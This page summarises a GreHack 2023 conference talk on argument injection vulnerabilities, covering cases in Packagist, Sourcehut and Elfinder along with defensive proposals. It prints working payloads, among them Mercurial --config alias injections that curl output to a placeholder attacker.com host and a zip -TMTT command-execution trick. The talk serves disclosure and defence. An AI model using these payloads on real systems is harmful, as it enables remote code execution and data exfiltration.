Won't You Please, Please --help Me?
Thomas Chauchefoin (Vulnerability Researcher · Sonar)
GreHack 2023: 11th International Symposium on Research in Grey-Hat Hacking · Day 1 · Main Stage
Overview
In his GreHack talk, "Won't You Please, Please --help Me?", Thomas Chauchefoin, a Vulnerability Researcher at Sonar, shed light on a critical yet often misunderstood class of vulnerabilities: argument injection. Chauchefoin, known as @swgs on Mastodon, highlighted that despite its significant impact, this flaw is frequently misidentified, dismissed as unexploitable, or inadvertently introduced during attempts to patch other security issues. His presentation aimed to demystify argument injection, providing a clear taxonomy, real-world exploitation examples, and actionable prevention strategies.

Key moments
- 0:00 Introduction: Argument injection, an overlooked bug class
- 4:00 Understanding command vs. argument injection basics
- 10:30 Real-world bug: Packagist PHP manager RCE
- 14:00 Sourcehut vulnerability: Non-standard argument parsing
- 20:30 Prevention challenges: Inconsistent argument parsing standards
- 26:30 Community efforts: Argument injection vectors list and tooling
- 30:00 Conclusion: High impact and future defensive strategies
Won't You Please, Please --help Me?
Speakers: Thomas Chauchefoin (Vulnerability Researcher, Sonar)
Conference: GreHack
YouTube: https://www.youtube.com/watch?v=cotLQKps6iM
Overview
In his GreHack talk, "Won't You Please, Please --help Me?", Thomas Chauchefoin, a Vulnerability Researcher at Sonar, shed light on a critical yet often misunderstood class of vulnerabilities: argument injection. Chauchefoin, known as @swgs on Mastodon, highlighted that despite its significant impact, this flaw is frequently misidentified, dismissed as unexploitable, or inadvertently introduced during attempts to patch other security issues. His presentation aimed to demystify argument injection, providing a clear taxonomy, real-world exploitation examples, and actionable prevention strategies.
Chauchefoin's research, conducted with the Sonar R&D team, has uncovered over 20 such vulnerabilities in the past two years alone, demonstrating its continued relevance and prevalence. This contrasts sharply with the general perception that argument injection is a rare or historical bug class, with only 163 CVEs since 2004, many of which are misclassified. The talk underscored that argument injection is not merely a theoretical concern but a potent vector that can lead to severe consequences, including Remote Code Execution (RCE), often as dangerous as its more famous cousin, command injection. By detailing the nuances of this attack vector, Chauchefoin urged the security community and developers to adopt a more rigorous approach to identifying, exploiting, and remediating these subtle yet critical flaws.
Background
▶ Watch: Introduction: Argument injection, an overlooked bug class (0:00)
The core problem addressed by Chauchefoin is a fundamental misunderstanding and underestimation of argument injection vulnerabilities. While terms like "option injection," "flag injection," and "parameter injection" are often used interchangeably, a clear and consistent taxonomy is frequently lacking, leading to confusion among security practitioners and developers alike. Many mistakenly conflate argument injection with command injection or even SQL injection, erroneously believing that any input used in a function's argument constitutes an "argument injection." This conceptual ambiguity is compounded by a prevalent belief that such bugs are either unexploitable or too complex to warrant investigation, causing them to fall outside the typical toolkit of security researchers.
Chauchefoin meticulously established the distinction between command injection and argument injection. In a command injection, a malicious payload containing shell metacharacters (e.g., $(date)) is concatenated into a command string, which is then executed by a shell. The shell interprets and executes the malicious code before passing its output to the original command. Standard defenses for command injection involve escaping shell metacharacters (e.g., escapeshellarg() in PHP) or executing the command directly without invoking a shell (e.g., using execve() in C, or subprocess.run(..., shell=False) in Python). These methods prevent the shell from interpreting the malicious input as executable code.
However, argument injection bypasses these common command injection defenses. Instead of exploiting the shell's interpretation, argument injection exploits the program's interpretation of its own arguments. Even if the malicious input is treated as a literal string by the shell (e.g., get_status "--help"), the target program (get_status in this example) will still parse --help as a legitimate option, potentially altering its behavior in an unintended way. This critical distinction is often overlooked by developers, who assume that once shell metacharacters are escaped or the shell is bypassed, the input is entirely safe.
A significant contributing factor to the prevalence of argument injection is the lack of proper documentation and guidance from programming language APIs. Chauchefoin noted that most API documentation for process execution functions fails to mention the risk of injecting extra arguments. PHP, surprisingly, is one of the few exceptions, with a single, easily missed comment warning against this risk. This absence of explicit warnings means developers are largely unaware of the threat, making it an intuitive pitfall. Furthermore, a major driver of new argument injection flaws is the remediation of existing command injection vulnerabilities. As Chauchefoin starkly put it, "Behind every single command injection I've seen... they just forgot to fix the argument injection behind it." Developers, under pressure to fix a high-severity command injection, often implement a partial fix that prevents shell interpretation but inadvertently introduces an argument injection, demonstrating a short-sighted remediation effort that fails to address the underlying risk.
Key Findings
▶ Watch: Real-world bug: Packagist PHP manager RCE (10:30)
Thomas Chauchefoin's talk unveiled several critical findings about argument injection, challenging prevailing assumptions and highlighting its significant security implications:
- Prevalence and Misclassification: Despite a relatively low official CVE count (163 since 2004, many misclassified as command injection), argument injection remains a potent and active threat. Sonar's R&D team alone identified over 20 such vulnerabilities in the last two years, indicating a focused research effort can yield substantial findings. This suggests that argument injection is far more common than publicly acknowledged, often going undetected or being mislabeled.
- Remediation Pitfall: A particularly alarming finding is that argument injection bugs are frequently introduced as a direct consequence of fixing command injection vulnerabilities. Developers, focusing solely on preventing shell interpretation, often fail to consider how the underlying program will parse injected options. This leads to a cycle where one vulnerability is "fixed" only to be replaced by another, equally dangerous one.
- High Exploitability and Impact: Contrary to the belief that argument injection is unexploitable or limited to innocuous actions like printing help messages, Chauchefoin demonstrated that these vulnerabilities frequently lead to Remote Code Execution (RCE). By injecting specific program options, attackers can manipulate program flow, execute arbitrary commands, or exfiltrate sensitive data, making argument injection a critical RCE vector.
- Lack of Standardized Argument Parsing: A major challenge in preventing argument injection lies in the highly inconsistent and non-standardized way different programs and operating systems parse command-line arguments. Tools like
zip,git, andmercurialexhibit unique behaviors regarding the--switch (designed to separate options from operands), option grouping, and value attachment. This lack of consensus means there's no single, universal defense mechanism, forcing developers to contend with a fragmented and unpredictable landscape. - Second-Order Vulnerabilities: Argument injection is not limited to direct user input. Chauchefoin highlighted cases where the vulnerable input originated from second-order sources, such as filenames on a filesystem or data retrieved from a database. This means that traditional input validation, focused solely on immediate user-supplied data, is insufficient. Any data processed by a command-line tool, regardless of its origin, must be considered potentially malicious.
These findings collectively paint a picture of argument injection as a pervasive, impactful, and often overlooked vulnerability class that demands greater attention from both security researchers and developers.
Technical Deep Dive
▶ Watch: Sourcehut vulnerability: Non-standard argument parsing (14:00)
Chauchefoin began the technical deep dive by clarifying the often-confused terminology surrounding command-line parsing. A command (e.g., git) is followed by arguments, which can be options or flags (e.g., -D, --foo), option arguments (the value supplied to an option, like value in --option=value), or positional arguments / operands (values not prefixed by dashes, like file.txt). The key distinction lies in how the shell versus the target program interprets these components.
For command injection, an attacker injects shell metacharacters, such as $(date), into a command string. If get_status $(date) is executed, the shell first evaluates $(date), then passes its output as an argument to get_status. Remediation typically involves:
- Escaping shell metacharacters: Using functions like PHP's
escapeshellarg()to enclose the input in quotes, making the shell treat it as a literal string. - Executing without a shell: Using APIs like
execve()that directly execute the program with an array of arguments, bypassing shell interpretation entirely.
However, these fixes are often insufficient for argument injection. If the injected payload is --help, even if escapeshellarg() is used or execve() is called, the target program (get_status) will still interpret --help as its own valid option. The shell might see "--help" as a single string, but get_status will process it as a flag. This is the crux of the problem: a successful defense against shell interpretation does not guarantee safety against program-level argument parsing.
Chauchefoin then presented several real-world examples of argument injection vulnerabilities found by the Sonar team:
- Packagist (PHP Composer Backend) - CVE-2018-XXXX:
- Packagist, which serves 2.4 billion dependencies per month, allows users to import repositories. In 2018, a command injection was found in the
git ls-remotecommand used during repository import. - The fix involved
escapeshellarg(), which prevented shell metacharacters but left an argument injection vulnerability. - Vulnerable code snippet (simplified):
exec(sprintf('git ls-remote %s', escapeshellarg($url))). - Exploitation with Mercurial: While
gitwas the primary tool, themercurialclient (also supported by Packagist) offered a more potent exploitation vector. Mercurial's--configoption allows overriding client configurations, including defining aliases. - An attacker could craft a URL like:
https://example.com/repo --config 'alias.identify=!curl http://attacker.com/?data=$(ls)'. - When Packagist executed
hg identifywith this URL, the--configoption would be parsed bymercurial, aliasing theidentifycommand to an arbitrary shell command. This resulted in Remote Code Execution (RCE), allowing the attacker to exfiltrate the output ofls.
- Sourcehut (Git/Mercurial Hosting):
- Sourcehut provides opinionated open-source tools for software project maintenance, including Git and Mercurial hosting. Its GraphQL API often needs to fetch repository information (history, branches, tags) by calling
gitorhgclients at runtime. - A vulnerability was found in the Mercurial graph resolver when fetching logs for a user-controlled
revision. - Vulnerable code (simplified):
hg log -r %swhere%sis the user-supplied revision. - The challenge here was that
-ris an option, so the injected payload--config ...would be interpreted as an option argument to-r. - Mercurial's quirk: A 2014 patch in Mercurial made
--configtake precedence everywhere, even when intended as an option argument. This meant that--configwould be parsed as a new configuration option regardless of its position. - Payload: A GraphQL query requesting logs with a revision like
"--config 'alias.log=!curl http://attacker.com/?data=$(ls)'". - This again led to RCE, leveraging Mercurial's unique argument parsing behavior.
- Elfinder (File Manager):
- Elfinder is a file manager that allows users to archive files and folders using tools like
zip,rar, or7z. - An argument injection was found in the archive feature, specifically in the destination filename.
escapeshellarg()was applied to individual files being compressed but not to the output filename. - Vulnerable code (simplified):
zip -r $destination_filename $files... - The
zipcommand has an option-Tfor testing archive integrity and-TTto specify an alternate command for testing. The goal was to inject-TTfollowed by an arbitrary command. - Exploitation Trick: Chaining Short-Form Arguments: Directly injecting
-TT=commandwould not work aszipwould interpretTTas a single invalid argument. However,zipallows chaining short-form options. By injectingfilename.zip -TMTT=date(where-Mis a dummy, harmless option), the attacker could makezipinterpret-Tas the test option,-Mas a dummy, and then-TT=dateas the command to execute for testing. - This resulted in RCE, demonstrating that attackers are not always limited to injecting a single option and can manipulate argument parsing to execute arbitrary commands like
dateor evenreboot.
These detailed examples showcased how argument injection can be exploited through various means, from configuration overrides and alias injection to clever manipulation of short-form option chaining, often leading to full RCE.
Demo / Proof of Concept
▶ Watch: Community efforts: Argument injection vectors list and tooling (26:30)
While Thomas Chauchefoin's talk did not feature a live, interactive demo in the traditional sense, the detailed exposition of the real-world vulnerabilities in Packagist, Sourcehut, and Elfinder served as robust proofs of concept (PoCs). For each case, he meticulously described the vulnerable code, the specific argument injection payload, and the resulting impact, which consistently demonstrated Remote Code Execution (RCE).
For Packagist, the PoC involved injecting a crafted URL containing --config 'alias.identify=!curl http://attacker.com/?data=$(ls)' into the repository import function, leading to ls output being exfiltrated. In the Sourcehut example, the PoC was a GraphQL query with a malicious revision value "--config 'alias.log=!curl http://attacker.com/?data=$(ls)'", again resulting in RCE and data exfiltration. Finally, for Elfinder, the PoC showed how injecting filename.zip -TMTT=date into the destination filename could force the zip utility to execute an arbitrary command, date in this case. These specific payloads and their described outcomes provided clear, actionable examples of how argument injection can be practically exploited to achieve severe security breaches.
Defensive Implications
▶ Watch: Conclusion: High impact and future defensive strategies (30:00)
Defending against argument injection is fraught with challenges due to the lack of standardization and inconsistent behaviors across various tools and systems.
The most common suggested defense is the -- switch, a POSIX standard that signals the end of options, instructing the program to treat all subsequent arguments as positional operands, regardless of whether they start with a dash. However, Chauchefoin highlighted that this is not a universal panacea:
ziputility: Does not support--before archive names, making it impossible to use this safeguard in certain contexts.mercurial: Its--configoption takes precedence over everything, including the--switch, rendering it ineffective against specific powerful options.git: Uses its own non-standard--end-of-optionsto achieve a similar effect, which developers must explicitly know and use. This divergence forces developers to be aware of tool-specific quirks, adding complexity.
The fundamental issue is the lack of a universal standard for argument parsing. Chauchefoin illustrated the dizzying array of conventions: GNU style (--option), new style (-o), X11/Java style (-option), and even shells using +a to negate -a. Programs differ in how they:
- Group short-form arguments (e.g.,
zip -tmvs.zip -t -m). - Attach values to options (e.g.,
--option=value,-ovalue,-o value). - Handle the reordering of arguments.
- Windows systems further complicate matters by using slashes (
/) instead of dashes (-) for options.
This chaotic landscape makes it incredibly difficult for developers to implement generic protections. The responsibility often falls into a gray area: is it the fault of the application (e.g., Packagist) for not sanitizing input, or the underlying tool (e.g., Mercurial) for its non-compliant argument parsing?
The traditional advice of "aggressively validate inputs" is, once again, insufficient and impractical. As Chauchefoin pointed out, this approach has failed to eradicate SQL injection and other common flaws over the past 20 years. Moreover, argument injection can arise from second-order sources (e.g., filenames from a filesystem, data from a database), meaning that validation cannot be limited to direct user input. Expecting developers to sanitize every piece of data that might eventually flow into a command-line tool is unrealistic and doesn't scale.
As a band-aid, for path handling, developers can:
- Prefix absolute paths with
/(e.g.,/path/to/file). - Prefix relative paths with
./(e.g.,./file.txt). - Trim any non-alphanumeric characters from the beginning of user-supplied values to prevent leading dashes.
However, these are reactive measures, not comprehensive solutions.
Chauchefoin proposed several forward-looking solutions:
- Safer API Design: The most impactful long-term solution is to design process execution APIs that inherently separate options from operands. Such APIs could automatically insert the
--switch or provide distinct parameters for options and arguments, preventing malicious injection by design. - Compile-Time Enforcement: Leveraging modern language features like strong typing (e.g., in Rust) could enforce that operands are always validated. This means a raw, untrusted string could not be directly passed as an argument without explicit sanitization, similar to how Perl's taint mode worked decades ago. This would shift validation from a runtime concern to a compile-time guarantee.
- Improved Tracking and Classification: Better tracking and classification of argument injection bugs (e.g., via CVEs) are crucial. If the security community doesn't accurately record how often these vulnerabilities occur, it's impossible to understand their true impact and develop effective defenses.
- Community Resources and Tooling: Chauchefoin's team has started building an argument injection vectors list, akin to GTFOBins but focused on realistic, dangerous arguments for various tools. This open-source resource (public and free) aims to provide actionable intelligence for researchers. They have also contributed to Google's system-san, a fuzzer originally designed for non-memory corruption bugs, by adding support for argument injection detection. This involves instrumenting
execvecalls and checking if fuzzer-injected "magic values" are interpreted as standalone arguments. Further integration with dynamic testing tools like Burp Suite's active scanner or developing new argument injection armor plugins could significantly enhance detection capabilities.
Ultimately, defending against argument injection requires a paradigm shift: acknowledging its severity, understanding its nuances, and advocating for safer default behaviors in both programming language APIs and underlying command-line tools.
Key Takeaways
- Argument injection is a distinct and severe vulnerability class, often leading to Remote Code Execution (RCE), and should be considered as dangerous as command injection.
- Fixing command injection often inadvertently introduces argument injection, highlighting a critical gap in developers' understanding of secure process execution.
- There is no universal standard for command-line argument parsing, leading to highly inconsistent behaviors across different tools (
git,zip,mercurial) and operating systems, which complicates generic defense strategies. - Exploitation techniques are varied and powerful, including leveraging
--configoverrides, alias injection, and chaining short-form options to execute arbitrary commands. - Traditional input validation is insufficient because argument injection can arise from second-order sources (e.g., filenames, database entries), not just direct user input.
- A paradigm shift is needed, focusing on designing safer APIs that separate options from operands, compile-time enforcement of argument validation, improved vulnerability tracking, and community-driven resources and tooling to raise awareness and aid detection.
About the Speaker(s)
Thomas Chauchefoin is a Vulnerability Researcher in the R&D team at Sonar. He is known by his handle @swgs on Mastodon. His work at Sonar focuses on product innovation, particularly in developing better technologies for finding security and quality issues in code. This involves actively discovering zero-day vulnerabilities, which are then responsibly disclosed and used to enhance Sonar's products. Over the past two years, Thomas and his team have identified more than 150 vulnerabilities, earning accolades and contributing significantly to the security community. Sonar, his employer, provides tools like SonarQube and SonarCloud, helping over 7 million developers maintain clean and secure code.
Reviews
Dr. Zero (Offensive Security Researcher) — STRONG ACCEPT
Chauchefoin delivers a tight, practical talk on a bug class that's chronically underestimated. The real value is the taxonomy work and the specific exploitation chains — Mercurial's --config precedence, zip's short-form chaining — that turn 'you can inject --help' into actual RCE. Not groundbreaking research, but exactly the kind of 'here's how to actually exploit this thing you keep dismissing' talk that changes how people hunt.
Heather Calloway (CISO) — STRONG ACCEPT
A well-executed technical talk on a bug class that most security programs aren't tracking properly. The finding that command injection remediations routinely introduce argument injection is directly actionable for anyone managing code review or AppSec processes. Worth your AppSec lead's time.
→ Top-rated talks at GreHack 2023: 11th International Symposium on Research in Grey-Hat Hacking
All talks from GreHack 2023: 11th International Symposium on Research in Grey-Hat Hacking